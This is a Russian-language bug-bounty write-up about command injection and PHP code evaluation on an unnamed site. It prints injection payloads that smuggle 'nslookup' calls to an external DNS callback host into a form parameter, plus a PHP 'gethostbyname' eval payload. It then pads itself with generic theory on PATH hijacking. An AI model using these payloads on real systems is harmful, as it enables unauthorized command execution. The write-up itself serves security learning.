Привет ребята,

Я обнаружил инъекцию команды путем захвата запроса DNS A, который возникает, когда входные данные интерпретируются как команда операционной системы.

Это очень важная проблема, и ее следует решить как можно скорее.

Выполнение команд без указания абсолютного пути может позволить злоумышленнику выполнить вредоносный двоичный файл, изменив $ PATH или другие аспекты среды выполнения программы.

влияние этой ошибки:

Злоумышленник может выполнить произвольный PHP-код в системе. Злоумышленник также может выполнять произвольные системные команды.

и как я нашел

Я нашел случайную форму ввода пользователя (param =)

и после того, как я поместил много вещей в param, я пробую = & + nslookup + cxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me & ’\" 0 & nslookup + cxx8nlugxbqajjeguq7iwpzjsdbx

вот так: =% 2526% 2Bnslookup% 2Bcxx8nlugxbqajjeguq7iwpzsdbxnyfj5o-a6ssjqlda.r87.me% 2526% 2527% 255c% 2522% 25600% 2526nslookup% 2Bcxx8nlugxbmewajjjjssqo% 2526nslookup% 2Bcxx8nlugxbmewajjjjssqo% 2526jjsqoi.jpg

тогда я получил

‹/Form›
‹pre› Сервер: xyz
Адрес: 172.xxx ‹/pre›
‹/p›
‹/div›
‹/ div ›

затем я нашел оценку кода на том же сайте

xyz.php? name =% 2bgethostbyname (trim (‘cxx8nlugxbab9vh_wuarecplh8zuzv9vyp5zxftg’. ’vma.r87.me’))% 3b% 2f% 2f

EXTRA EXTRA EXTRA… .. (теория только для увеличения длины отчета)

Не принимайте ввод от конечных пользователей, который будет напрямую интерпретироваться как исходный код. Если это бизнес-требование, проверьте все вводимые данные в приложении и удалите все данные, которые могут быть напрямую интерпретированы как исходный код PHP.

Эту уязвимость нетрудно использовать. PHP - это язык высокого уровня, для которого доступны обширные ресурсы. Успешная эксплуатация требует знания языка программирования, доступа к исходному коду или способности создавать исходный код для использования в таких атаках, а также минимальных навыков атаки.

Объяснение

Уязвимости внедрения команд имеют две формы:

- Злоумышленник может изменить команду, которую выполняет программа: злоумышленник явно контролирует, что это за команда.

- Злоумышленник может изменить среду, в которой выполняется команда: злоумышленник неявно контролирует значение команды.

В этом случае нас в первую очередь интересует второй сценарий, в котором злоумышленник может изменить значение команды, изменив переменную среды или вставив вредоносный исполняемый файл на раннем этапе поиска. Уязвимости этого типа с внедрением команд возникают, когда:

1. Злоумышленник изменяет среду приложения.

2. Приложение выполняет команду без указания абсолютного пути или проверки исполняемого двоичного файла.

3. Выполняя команду, приложение дает злоумышленнику привилегию или возможность, которых у злоумышленника в противном случае не было бы.

демонстрирует, что может случиться, если злоумышленник может изменить интерпретацию команды. Код взят из веб-утилиты CGI, которая позволяет пользователям изменять свои пароли. Процесс обновления пароля в NIS включает запуск make в каталоге /var/yp. Обратите внимание: поскольку программа обновляет записи паролей, она была установлена ​​setuid root.

Программа вызывает make следующим образом:

system("cd /var/yp && make &> /dev/null");

Команда в этом примере жестко запрограммирована, поэтому злоумышленник не может контролировать аргумент, переданный в system(). Однако, поскольку программа не указывает абсолютный путь для make и не очищает свои переменные среды перед вызовом команды, злоумышленник может изменить свою переменную $PATH, указав на вредоносный двоичный файл с именем make, и выполнить сценарий CGI из приглашения оболочки. . А поскольку программа была установлена ​​setuid root, версия make злоумышленника теперь работает с root привилегиями.

Среда играет важную роль в выполнении системных команд в программах. Такие функции, как system() и exec(), используют среду вызывающей их программы, и поэтому у злоумышленников есть потенциальная возможность повлиять на поведение этих вызовов.

Подпишитесь на Infosec Write-ups, чтобы увидеть больше таких замечательных статей.